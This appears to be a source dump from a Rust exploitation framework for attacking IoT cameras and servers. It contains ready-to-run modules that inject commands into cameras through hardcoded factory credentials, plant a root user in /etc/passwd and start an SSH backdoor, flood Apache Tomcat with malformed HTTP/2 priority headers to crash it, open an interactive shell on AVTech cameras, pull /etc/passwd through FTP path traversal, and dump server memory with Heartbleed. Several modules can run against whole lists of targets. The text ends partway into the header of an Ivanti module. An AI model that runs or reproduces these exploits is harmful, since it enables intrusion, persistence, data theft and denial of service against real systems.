addr_inner, port); 20 | } 21 | } 22 | // Otherwise, remove any outer brackets entirely... 23 | let inner = raw 24 | .trim_start_matches('[') 25 | .trim_end_matches(']') 26 | .to_string(); 27 | // ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon). 28 | if inner.contains(':') { 29 | format!("[{}]", inner) 30 | } else { 31 | inner 32 | } 33 | } 34 | 35 | /// Send a command using the vulnerable RCE endpoint 36 | async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> { 37 | let normalized = normalize_target(target); 38 | let url = format!( 39 | "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}", 40 | normalized, cmd 41 | ); 42 | println!("[*] Sending RCE payload: {}", cmd); 43 | 44 | let resp = client.get(&url).send().await?; 45 | println!("[+] Status: {}", resp.status()); 46 | println!("[+] Response:\n{}", resp.text().await?); 47 | 48 | Ok(()) 49 | } 50 | 51 | /// Generate Dropbear SSH keys on the target system 52 | async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> { 53 | let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"; 54 | println!("[*] Generating Dropbear SSH key..."); 55 | exploit_rce(client, target, cmd).await 56 | } 57 | 58 | /// Inject a root user with a hashed password into /etc/passwd 59 | async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> { 60 | let payload = format!( 61 | "echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd", 62 | user, hash 63 | ); 64 | println!("[*] Injecting user '{}' with root privileges...", user); 65 | exploit_rce(client, target, &payload).await 66 | } 67 | 68 | /// Start Dropbear SSH daemon 69 | async fn start_dropbear(client: &Client, target: &str) -> Result<()> { 70 | let cmd = "/etc/dropbear/dropbear%20-E%20-F"; 71 | println!("[*] Starting Dropbear SSH daemon..."); 72 | exploit_rce(client, target, cmd).await 73 | } 74 | 75 | /// Generate an MD5 hash of the given password 76 | fn generate_md5_hash(password: &str) -> String { 77 | let digest = md5::compute(password.as_bytes()); 78 | format!("{:x}", digest) 79 | } 80 | 81 | /// Main interactive flow: get user/pass, hash it, and inject persistence 82 | async fn execute_flow(target: &str) -> Result<()> { 83 | let client = Client::builder() 84 | .danger_accept_invalid_certs(true) 85 | .build()?; 86 | 87 | println!("[*] Dropbear SSH persistence for target: {}", target); 88 | 89 | print!("Enter username to inject: "); 90 | io::stdout().flush()?; 91 | let mut user = String::new(); 92 | io::stdin().read_line(&mut user)?; 93 | let user = user.trim(); 94 | 95 | print!("Enter password (will be hashed): "); 96 | io::stdout().flush()?; 97 | let mut pass = String::new(); 98 | io::stdin().read_line(&mut pass)?; 99 | let pass = pass.trim(); 100 | 101 | // Hash it! 102 | let hash = generate_md5_hash(pass); 103 | println!("[*] Generated MD5 hash: {}", hash); 104 | 105 | // Run each step 106 | generate_ssh_key(&client, target).await?; 107 | inject_root_user(&client, target, user, &hash).await?; 108 | start_dropbear(&client, target).await?; 109 | 110 | println!("\n[+] Done. Try connecting with:"); 111 | println!( 112 | " sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \ 113 | -oHostKeyAlgorithms=+ssh-rsa {}@{}", 114 | pass, user, target 115 | ); 116 | Ok(()) 117 | } 118 | 119 | /// Dispatcher entry-point for the auto-dispatch framework 120 | pub async fn run(target: &str) -> Result<()> { 121 | execute_flow(target).await 122 | } 123 | -------------------------------------------------------------------------------- /src/modules/exploits/abus/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod abussecurity_camera_cve202326609variant1; 2 | pub mod abussecurity_camera_cve202326609variant2; 3 | -------------------------------------------------------------------------------- /src/modules/exploits/acti/acm_5611_rce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result}; 2 | use reqwest::Client; 3 | use std::time::Duration; 4 | 5 | /// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection 6 | /// // Reference: 7 | /// // - https://www.exploitalert.com/view-details.html?id=34128 8 | /// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html 9 | 10 | /// // Exploit authors: 11 | /// // - Todor Donev 12 | /// // - GH0st3rs (RouterSploit module) 13 | 14 | pub async fn run(target: &str) -> Result<()> { 15 | let port = 8080; // // Default port 16 | 17 | if check(target, port).await? { 18 | println!("[+] Target seems vulnerable: {}:{}", target, port); 19 | 20 | // // Simulated shell command execution 21 | let cmd = "id"; // // You can change this to any test command 22 | let output = execute(target, port, cmd).await?; 23 | println!("[+] Executed '{}':\n{}", cmd, output); 24 | 25 | // // You can extend this to implement full shell injection 26 | // // shell(arch="armle", method="wget", location="/var/", exec_binary=...) 27 | } else { 28 | println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port); 29 | } 30 | 31 | Ok(()) 32 | } 33 | 34 | /// // Perform a command injection via GET /cgi-bin/test?iperf=; 35 | async fn execute(target: &str, port: u16, cmd: &str) -> Result { 36 | let url = format!("http://{}:{}/cgi-bin/test", target, port); 37 | let client = Client::builder() 38 | .timeout(Duration::from_secs(5)) 39 | .build()?; 40 | 41 | let res = client 42 | .get(&url) 43 | .header("Content-Type", "application/x-www-form-urlencoded") 44 | .header("Referer", format!("http://{}:{}", target, port)) 45 | .query(&[("iperf", format!(";{}", cmd))]) 46 | .send() 47 | .await?; 48 | 49 | if res.status().is_success() { 50 | let text = res.text().await?; 51 | Ok(text) 52 | } else { 53 | Err(anyhow!("Command execution failed, status code: {}", res.status())) 54 | } 55 | } 56 | 57 | /// // Check if the target is running the vulnerable service 58 | async fn check(target: &str, port: u16) -> Result { 59 | let url = format!("http://{}:{}/cgi-bin/test", target, port); 60 | let index_url = format!("http://{}:{}/", target, port); 61 | let client = Client::builder() 62 | .timeout(Duration::from_secs(5)) 63 | .build()?; 64 | 65 | // // Check /cgi-bin/test 66 | let test_res = client.get(&url).send().await?; 67 | if test_res.status().is_success() { 68 | // // Check root page contains 'Web Configurator' 69 | let index_res = client.get(&index_url).send().await?; 70 | if index_res.status().is_success() { 71 | let body = index_res.text().await?; 72 | if body.contains("Web Configurator") { 73 | return Ok(true); 74 | } 75 | } 76 | } 77 | 78 | Ok(false) 79 | } 80 | -------------------------------------------------------------------------------- /src/modules/exploits/acti/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod acm_5611_rce; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/apache_tomcat/catkiller_cve_2025_31650.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, bail, Result}; 2 | use colored::*; 3 | use rand::Rng; 4 | use reqwest::{ClientBuilder}; 5 | use std::io::{self, Write}; 6 | use std::net::{TcpStream, ToSocketAddrs}; 7 | use std::time::Duration; 8 | use tokio::time::sleep; 9 | use rand::prelude::IndexedRandom; 10 | 11 | /// TomcatKiller - CVE-2025-31650 12 | /// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers 13 | pub async fn run(target: &str) -> Result<()> { 14 | println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue()); 15 | println!("Developed by: @absholi7ly"); 16 | println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers."); 17 | println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow()); 18 | 19 | let port = prompt_for_port().unwrap_or(443); 20 | let normalized = if target.starts_with("http://") || target.starts_with("https://") { 21 | target.to_string() 22 | } else { 23 | format!("https://{}", target) 24 | }; 25 | 26 | let (host, _) = match validate_url(&normalized) { 27 | Ok(hp) => hp, 28 | Err(e) => { 29 | eprintln!("{}", format!("Invalid target URL: {e}").red()); 30 | return Err(e); 31 | } 32 | }; 33 | 34 | let clean_host = strip_ipv6_brackets(&host); 35 | let num_tasks = 300; 36 | let requests_per_task = 100000; 37 | 38 | match check_http2_support(&clean_host, port).await { 39 | Ok(true) => { 40 | println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green()); 41 | println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task); 42 | println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow()); 43 | 44 | let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port)); 45 | let mut handles = Vec::new(); 46 | 47 | for i in 0..num_tasks { 48 | let h = clean_host.clone(); 49 | handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i))); 50 | } 51 | 52 | for handle in handles { 53 | let _ = handle.await; 54 | } 55 | 56 | monitor_handle.abort(); 57 | } 58 | Ok(false) => { 59 | bail!("Target does not support HTTP/2. Exploit not applicable."); 60 | } 61 | Err(e) => { 62 | eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red()); 63 | return Err(e); 64 | } 65 | } 66 | 67 | Ok(()) 68 | } 69 | 70 | fn prompt_for_port() -> Option { 71 | print!("{}", "Enter target port (default 443): ".cyan()); 72 | io::stdout().flush().ok()?; 73 | 74 | let mut buffer = String::new(); 75 | io::stdin().read_line(&mut buffer).ok()?; 76 | 77 | let trimmed = buffer.trim(); 78 | if trimmed.is_empty() { 79 | Some(443) 80 | } else { 81 | trimmed.parse::().ok() 82 | } 83 | } 84 | 85 | fn strip_ipv6_brackets(host: &str) -> String { 86 | host.trim_matches(|c| c == '[' || c == ']').to_string() 87 | } 88 | 89 | fn validate_url(url: &str) -> Result<(String, u16)> { 90 | let parsed = url::Url::parse(url)?; 91 | let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string(); 92 | let port = parsed.port_or_known_default().unwrap_or(443); 93 | Ok((host, port)) 94 | } 95 | 96 | async fn check_http2_support(host: &str, port: u16) -> Result { 97 | let client = ClientBuilder::new() 98 | .http2_prior_knowledge() 99 | .danger_accept_invalid_certs(true) 100 | .timeout(Duration::from_secs(5)) 101 | .build()?; 102 | 103 | let url = format!("https://{}:{}/", host, port); 104 | let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await; 105 | 106 | match resp { 107 | Ok(response) => { 108 | if response.version() == reqwest::Version::HTTP_2 { 109 | println!("{}", "HTTP/2 supported! Proceeding ...".green()); 110 | Ok(true) 111 | } else { 112 | println!("{}", "Server responded, but HTTP/2 not used.".yellow()); 113 | Ok(false) 114 | } 115 | } 116 | Err(e) => { 117 | println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red()); 118 | Ok(false) 119 | } 120 | } 121 | } 122 | 123 | async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) { 124 | let priorities = get_invalid_priorities(); 125 | let client = match ClientBuilder::new() 126 | .http2_prior_knowledge() 127 | .danger_accept_invalid_certs(true) 128 | .timeout(Duration::from_millis(300)) 129 | .build() 130 | { 131 | Ok(c) => c, 132 | Err(_) => return, 133 | }; 134 | 135 | let url = format!("https://{}:{}/", host, port); 136 | 137 | for _ in 0..count { 138 | let prio = priorities.choose(&mut rand::rng()).unwrap().to_string(); 139 | let headers = [ 140 | ("priority", prio), 141 | ("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::())), 142 | ("cache-control", "no-cache".to_string()), 143 | ("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))), 144 | ]; 145 | 146 | let mut req = client.get(&url); 147 | for (k, v) in headers.iter() { 148 | req = req.header(*k, v); 149 | } 150 | 151 | let _ = req.send().await; 152 | } 153 | } 154 | 155 | async fn monitor_server(host: String, port: u16) { 156 | loop { 157 | let addr_result = format!("{}:{}", host, port).to_socket_addrs(); 158 | 159 | match addr_result { 160 | Ok(mut addrs) => { 161 | if let Some(addr) = addrs.next() { 162 | if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() { 163 | println!("{}", format!("Target {}:{} is reachable.", host, port).yellow()); 164 | } else { 165 | println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red()); 166 | break; 167 | } 168 | } else { 169 | println!("{}", "DNS lookup failed.".red()); 170 | break; 171 | } 172 | } 173 | Err(_) => { 174 | println!("{}", "Failed to resolve host for monitoring.".red()); 175 | break; 176 | } 177 | } 178 | 179 | sleep(Duration::from_secs(2)).await; 180 | } 181 | } 182 | 183 | fn get_invalid_priorities() -> Vec<&'static str> { 184 | vec![ 185 | "u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid", 186 | "u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2", 187 | "u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=", 188 | "u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295", 189 | "u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid", 190 | "u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%", 191 | "u=0, q=0, null=0", 192 | ] 193 | } 194 | -------------------------------------------------------------------------------- /src/modules/exploits/apache_tomcat/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod cve_2025_24813_apache_tomcat_rce; 2 | pub mod catkiller_cve_2025_31650; 3 | 4 | -------------------------------------------------------------------------------- /src/modules/exploits/avtech/cve_2024_7029_avtech_camera.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use reqwest::Client; 3 | use std::io::{self, Write}; 4 | use std::path::Path; 5 | use std::time::Duration; 6 | use tokio::io::{AsyncBufReadExt, BufReader}; 7 | 8 | /// // Ensures the target string has a scheme (http://) and includes port 9 | fn normalize_url(ip: &str, port: &str) -> String { 10 | let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") { 11 | ip.to_string() 12 | } else { 13 | format!("http://{}", ip) 14 | }; 15 | 16 | let port = port.trim(); 17 | if port.is_empty() { 18 | with_scheme 19 | } else if with_scheme.contains(':') { 20 | with_scheme // already has port 21 | } else { 22 | format!("{}:{}", with_scheme, port) 23 | } 24 | } 25 | 26 | /// // Check if the device is vulnerable to CVE-2024-7029 27 | async fn check_vuln(client: &Client, base: &str) -> Result { 28 | let mut url = reqwest::Url::parse(base)?; 29 | url.set_path("/cgi-bin/supervisor/Factory.cgi"); 30 | url.query_pairs_mut() 31 | .append_pair("action", "Set") 32 | .append_pair("brightness", "1;echo_CVE7029;"); 33 | let resp = client.get(url).send().await?; 34 | let body = resp.text().await?; 35 | Ok(body.contains("echo_CVE7029")) 36 | } 37 | 38 | /// // Interactive shell to send arbitrary commands 39 | async fn interactive_shell(client: &Client, base: &str) -> Result<()> { 40 | let stdin = tokio::io::stdin(); 41 | let mut lines = BufReader::new(stdin).lines(); 42 | 43 | loop { 44 | print!("cve7029-shell> "); 45 | io::stdout().flush()?; 46 | if let Some(cmd) = lines.next_line().await? { 47 | let cmd = cmd.trim(); 48 | if cmd.eq_ignore_ascii_case("exit") { 49 | break; 50 | } 51 | match exec_cmd(client, base, cmd).await { 52 | Ok(out) => println!("{}", out), 53 | Err(e) => eprintln!("Error: {}", e), 54 | } 55 | } else { 56 | break; 57 | } 58 | } 59 | Ok(()) 60 | } 61 | 62 | /// // Execute a remote command by abusing the brightness parameter 63 | async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result { 64 | let mut url = reqwest::Url::parse(base)?; 65 | url.set_path("/cgi-bin/supervisor/Factory.cgi"); 66 | let payload = format!("1;{};", cmd); 67 | url.query_pairs_mut() 68 | .append_pair("action", "Set") 69 | .append_pair("brightness", &payload); 70 | let response = client.get(url).send().await?; 71 | Ok(response.text().await?) 72 | } 73 | 74 | /// // Prompt user for a custom port number 75 | fn prompt_port() -> Result { 76 | print!("Enter port to use [default: 80]: "); 77 | io::stdout().flush()?; 78 | let mut port = String::new(); 79 | io::stdin().read_line(&mut port)?; 80 | let port = port.trim(); 81 | Ok(if port.is_empty() { "80".to_string() } else { port.to_string() }) 82 | } 83 | 84 | /// // Entry point required for RouterSploit-inspired dispatch system 85 | pub async fn run(target: &str) -> Result<()> { 86 | let port = prompt_port()?; 87 | let client = Client::builder() 88 | .danger_accept_invalid_certs(true) 89 | .timeout(Duration::from_secs(5)) 90 | .build()?; 91 | 92 | // // Handle either single IP or file of targets 93 | let targets = if Path::new(target).exists() { 94 | tokio::fs::read_to_string(target) 95 | .await? 96 | .lines() 97 | .map(str::to_string) 98 | .collect::>() 99 | } else { 100 | vec![target.to_string()] 101 | }; 102 | 103 | for raw_ip in &targets { 104 | let url = normalize_url(raw_ip, &port); 105 | if check_vuln(&client, &url).await? { 106 | println!("[+] {} is vulnerable!", url); 107 | interactive_shell(&client, &url).await?; 108 | } else { 109 | println!("[-] {} is not vulnerable", url); 110 | } 111 | } 112 | 113 | Ok(()) 114 | } 115 | -------------------------------------------------------------------------------- /src/modules/exploits/avtech/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod cve_2024_7029_avtech_camera; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/ftp/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod pachev_ftp_path_traversal_1_0; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/ftp/pachev_ftp_path_traversal_1_0.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result}; 2 | use ftp::FtpStream; 3 | use std::net::ToSocketAddrs; 4 | use std::fs::{File, OpenOptions}; 5 | use std::io::{copy, BufRead, BufReader, Write}; 6 | use std::path::Path; 7 | use tokio::task; 8 | use tokio::sync::Semaphore; 9 | use futures::stream::{FuturesUnordered, StreamExt}; 10 | use colored::*; // // Colorful output 11 | use std::time::Duration; 12 | use tokio::time::timeout; 13 | 14 | const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning 15 | const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection 16 | 17 | // // Format IPv4 or IPv6 address with port (handles multiple layers of brackets) 18 | fn format_addr(target: &str, port: u16) -> String { 19 | let mut clean = target.trim().to_string(); 20 | 21 | while clean.starts_with('[') && clean.ends_with(']') { 22 | clean = clean[1..clean.len() - 1].to_string(); 23 | } 24 | 25 | if clean.contains(':') { 26 | format!("[{}]:{}", clean, port) 27 | } else { 28 | format!("{}:{}", clean, port) 29 | } 30 | } 31 | 32 | // // Actual FTP path traversal exploit 33 | fn exploit_target(target: String, port: u16) -> Result { 34 | let addr = format_addr(&target, port); 35 | 36 | println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow()); 37 | 38 | let mut ftp = FtpStream::connect( 39 | addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))? 40 | ) 41 | .map_err(|e| anyhow!("FTP connection error: {}", e))?; 42 | 43 | ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?; 44 | println!("{}", "[+] Logged in successfully as 'pachev'.".green()); 45 | 46 | println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow()); 47 | 48 | let reader = ftp.simple_retr("../../../../../../../../etc/passwd") 49 | .map_err(|e| anyhow!("Failed to retrieve file: {}", e))? 50 | .into_inner(); 51 | let mut reader = std::io::Cursor::new(reader); 52 | 53 | let safe_name = target.replace(['[', ']', ':'], "_"); 54 | let out_file = format!("{}_passwd.txt", safe_name); 55 | let mut file = File::create(&out_file)?; 56 | copy(&mut reader, &mut file)?; 57 | 58 | ftp.quit().ok(); 59 | 60 | println!("{}", format!("[+] File saved as {}", out_file).green()); 61 | 62 | Ok(format!("{} SUCCESS", target)) 63 | } 64 | 65 | // // Save result line into `results.txt` 66 | fn save_result(line: &str) -> Result<()> { 67 | let mut file = OpenOptions::new() 68 | .create(true) 69 | .append(true) 70 | .open("results.txt")?; 71 | 72 | writeln!(file, "{}", line)?; 73 | Ok(()) 74 | } 75 | 76 | // // Public auto-dispatch entry point 77 | pub async fn run(target: &str) -> Result<()> { 78 | let target = target.to_string(); // // Own target early to avoid lifetime issues 79 | 80 | println!("Enter the FTP port (default 21):"); 81 | let mut port_input = String::new(); 82 | std::io::stdin().read_line(&mut port_input)?; 83 | let port_input = port_input.trim(); 84 | let port = if port_input.is_empty() { 85 | 21 86 | } else { 87 | port_input.parse::().map_err(|_| anyhow!("Invalid port number"))? 88 | }; 89 | 90 | println!("Do you want to use a list of IPs? (yes/no):"); 91 | let mut use_list = String::new(); 92 | std::io::stdin().read_line(&mut use_list)?; 93 | let use_list = use_list.trim().to_lowercase(); 94 | 95 | if use_list == "yes" || use_list == "y" { 96 | println!("Enter path to the IP list file:"); 97 | let mut path = String::new(); 98 | std::io::stdin().read_line(&mut path)?; 99 | let path = path.trim(); 100 | 101 | if !Path::new(path).exists() { 102 | return Err(anyhow!("List file does not exist: {}", path)); 103 | } 104 | 105 | let file = File::open(path)?; 106 | let reader = BufReader::new(file); 107 | 108 | let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS)); 109 | let mut futures = FuturesUnordered::new(); 110 | 111 | for line_result in reader.lines() { 112 | match line_result { 113 | Ok(ip) => { 114 | let ip = ip.trim(); 115 | if ip.is_empty() { 116 | continue; 117 | } 118 | let ip_owned = ip.to_string(); 119 | let port = port; 120 | let target_clone = target.clone(); // // Clone per task 121 | let permit = semaphore.clone().acquire_owned().await?; 122 | 123 | println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow()); 124 | 125 | futures.push(tokio::spawn(async move { 126 | let _permit = permit; // // Hold permit alive 127 | let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port)); 128 | 129 | match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await { 130 | Ok(Ok(Ok(success))) => { 131 | println!("{}", format!("[+] Success: {}", success).green()); 132 | save_result(&success)?; 133 | } 134 | Ok(Ok(Err(e))) => { 135 | println!("{}", format!("[!] Exploit error: {}", e).red()); 136 | save_result(&format!("{} FAIL: {}", target_clone, e))?; 137 | } 138 | Ok(Err(e)) => { 139 | println!("{}", format!("[!] Join error: {}", e).red()); 140 | save_result(&format!("{} FAIL: Join error {}", target_clone, e))?; 141 | } 142 | Err(_) => { 143 | println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red()); 144 | save_result(&format!("{} TIMEOUT", target_clone))?; 145 | } 146 | } 147 | 148 | Ok::<(), anyhow::Error>(()) 149 | })); 150 | } 151 | Err(e) => { 152 | println!("{}", format!("[!] Failed to read line: {}", e).red()); 153 | } 154 | } 155 | } 156 | 157 | // // Wait for all tasks to complete 158 | while let Some(res) = futures.next().await { 159 | if let Err(e) = res { 160 | println!("{}", format!("[!] Task error: {}", e).red()); 161 | } 162 | } 163 | } else { 164 | // // Single target mode 165 | let target_owned = target.to_string(); 166 | let port = port; 167 | 168 | let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port)); 169 | match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await { 170 | Ok(Ok(Ok(success))) => { 171 | println!("{}", format!("[+] Success: {}", success).green()); 172 | save_result(&success)?; 173 | } 174 | Ok(Ok(Err(e))) => { 175 | println!("{}", format!("[!] Exploit error: {}", e).red()); 176 | save_result(&format!("{} FAIL: {}", target, e))?; 177 | } 178 | Ok(Err(e)) => { 179 | println!("{}", format!("[!] Join error: {}", e).red()); 180 | save_result(&format!("{} FAIL: Join error {}", target, e))?; 181 | } 182 | Err(_) => { 183 | println!("{}", format!("[!] Timeout while exploiting {}", target).red()); 184 | save_result(&format!("{} TIMEOUT", target))?; 185 | } 186 | } 187 | } 188 | 189 | Ok(()) 190 | } 191 | -------------------------------------------------------------------------------- /src/modules/exploits/generic/heartbleed.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Context, Result}; 2 | use std::fs::File; 3 | use std::io::Write; 4 | use std::net::ToSocketAddrs; 5 | use std::path::Path; 6 | use std::time::{SystemTime, UNIX_EPOCH}; 7 | use tokio::io::{AsyncReadExt, AsyncWriteExt}; 8 | use tokio::net::TcpStream; 9 | use tokio::time::{timeout, Duration}; 10 | 11 | /// Entry point for dispatcher – uses default port 443 12 | pub async fn run(target: &str) -> Result<()> { 13 | run_with_port(target, 443).await 14 | } 15 | 16 | /// Full Heartbleed scanner with user-defined port (used internally) 17 | pub async fn run_with_port(target: &str, port: u16) -> Result<()> { 18 | // 1) Trim whitespace and strip _all_ bracket layers: 19 | let raw = target.trim(); 20 | let stripped = raw 21 | .trim_start_matches('[') 22 | .trim_end_matches(']'); 23 | 24 | // 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once: 25 | let host = if stripped.contains(':') { 26 | format!("[{}]", stripped) 27 | } else { 28 | stripped.to_string() 29 | }; 30 | 31 | // 3) Build the addr string with port: 32 | let addr = format!("{}:{}", host, port); 33 | 34 | println!("[*] Connecting to {}...", addr); 35 | let socket_addr = addr 36 | .to_socket_addrs() 37 | .context("Invalid target address format")? 38 | .next() 39 | .context("Could not resolve target address")?; 40 | 41 | let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await; 42 | let mut stream = match stream_result { 43 | Ok(Ok(s)) => s, 44 | Ok(Err(e)) => { 45 | println!("[-] Connection to {} failed: {}", socket_addr, e); 46 | return Ok(()); 47 | } 48 | Err(_) => { 49 | println!("[-] Connection to {} timed out", socket_addr); 50 | return Ok(()); 51 | } 52 | }; 53 | 54 | println!("[*] Sending Client Hello..."); 55 | stream.write_all(&build_client_hello()).await?; 56 | 57 | let mut response = vec![0u8; 4096]; 58 | let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await; 59 | match read_result { 60 | Ok(Ok(n)) if n > 0 => {} 61 | Ok(Ok(_)) => { 62 | println!("[-] No response to Client Hello"); 63 | return Ok(()); 64 | } 65 | Ok(Err(e)) => { 66 | println!("[-] Read error: {}", e); 67 | return Ok(()); 68 | } 69 | Err(_) => { 70 | println!("[-] Read timed out (Client Hello response)"); 71 | return Ok(()); 72 | } 73 | } 74 | 75 | println!("[*] Sending Heartbeat..."); 76 | stream.write_all(&build_heartbeat_request(0x4000)).await?; 77 | 78 | let mut leak = vec![0u8; 65535]; 79 | let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await; 80 | let n = match read_result { 81 | Ok(Ok(n)) if n > 0 => n, 82 | Ok(Ok(_)) => { 83 | println!("[-] No heartbeat response."); 84 | return Ok(()); 85 | } 86 | Ok(Err(e)) => { 87 | println!("[-] Read error: {}", e); 88 | return Ok(()); 89 | } 90 | Err(_) => { 91 | println!("[-] Read timed out (heartbeat response)"); 92 | return Ok(()); 93 | } 94 | }; 95 | 96 | println!("[+] Received {} bytes in heartbeat response!", n); 97 | let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_")); 98 | let path = Path::new(&filename); 99 | let mut file = File::create(path) 100 | .with_context(|| format!("Failed to create dump file '{}'", filename))?; 101 | file.write_all(&leak[..n]) 102 | .with_context(|| format!("Failed to write leak data to '{}'", filename))?; 103 | println!("[+] Leak dump saved to: {}", filename); 104 | println!("{}", printable_dump(&leak[..n])); 105 | 106 | Ok(()) 107 | } 108 | 109 | /// Builds a TLS ClientHello message 110 | fn build_client_hello() -> Vec { 111 | let version: u16 = 0x0302; // TLS 1.1 112 | let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32; 113 | 114 | let mut random = vec![]; 115 | random.extend_from_slice(&time_now.to_be_bytes()); 116 | random.extend_from_slice(&vec![0x42; 28]); 117 | 118 | let cipher_suites: Vec = vec![ 119 | 0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001, 120 | ]; 121 | 122 | let mut hello = vec![]; 123 | hello.extend_from_slice(&version.to_be_bytes()); 124 | hello.extend_from_slice(&random); 125 | hello.push(0); // Session ID length 126 | hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes()); 127 | for cs in &cipher_suites { 128 | hello.extend_from_slice(&cs.to_be_bytes()); 129 | } 130 | hello.push(1); // Compression methods length 131 | hello.push(0); // No compression 132 | 133 | let mut extensions = vec![]; 134 | extensions.extend_from_slice(&0x000f_u16.to_be_bytes()); 135 | extensions.extend_from_slice(&0x0001_u16.to_be_bytes()); 136 | extensions.push(0x01); // Extension data 137 | 138 | hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes()); 139 | hello.extend_from_slice(&extensions); 140 | 141 | let mut handshake = vec![0x01]; 142 | let len = (hello.len() as u32).to_be_bytes(); 143 | handshake.extend_from_slice(&len[1..]); 144 | handshake.extend_from_slice(&hello); 145 | 146 | build_tls_record(0x16, version, &handshake) 147 | } 148 | 149 | /// Builds a malicious Heartbeat request 150 | fn build_heartbeat_request(length: u16) -> Vec { 151 | let mut payload = vec![0x01, (length >> 8) as u8, length as u8]; 152 | payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]); 153 | build_tls_record(0x18, 0x0302, &payload) 154 | } 155 | 156 | /// Wraps payload in a TLS record 157 | fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec { 158 | let mut record = vec![record_type]; 159 | record.extend_from_slice(&version.to_be_bytes()); 160 | record.extend_from_slice(&(payload.len() as u16).to_be_bytes()); 161 | record.extend_from_slice(payload); 162 | record 163 | } 164 | 165 | /// Converts binary leak to printable ASCII 166 | fn printable_dump(data: &[u8]) -> String { 167 | data.iter() 168 | .map(|b| match *b { 169 | 32..=126 => *b as char, 170 | b'\n' | b'\r' | b'\t' => ' ', 171 | _ => '.', 172 | }) 173 | .collect() 174 | } 175 | -------------------------------------------------------------------------------- /src/modules/exploits/generic/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod heartbleed; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/ivanti/ivanti_connect_secure_stack_based_buffer_overflow.rs: -------------------------------------------------------------------------------- 1 | //CVE-2025-22457 – Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check 2 | 3 | //Author: Bryan Smith 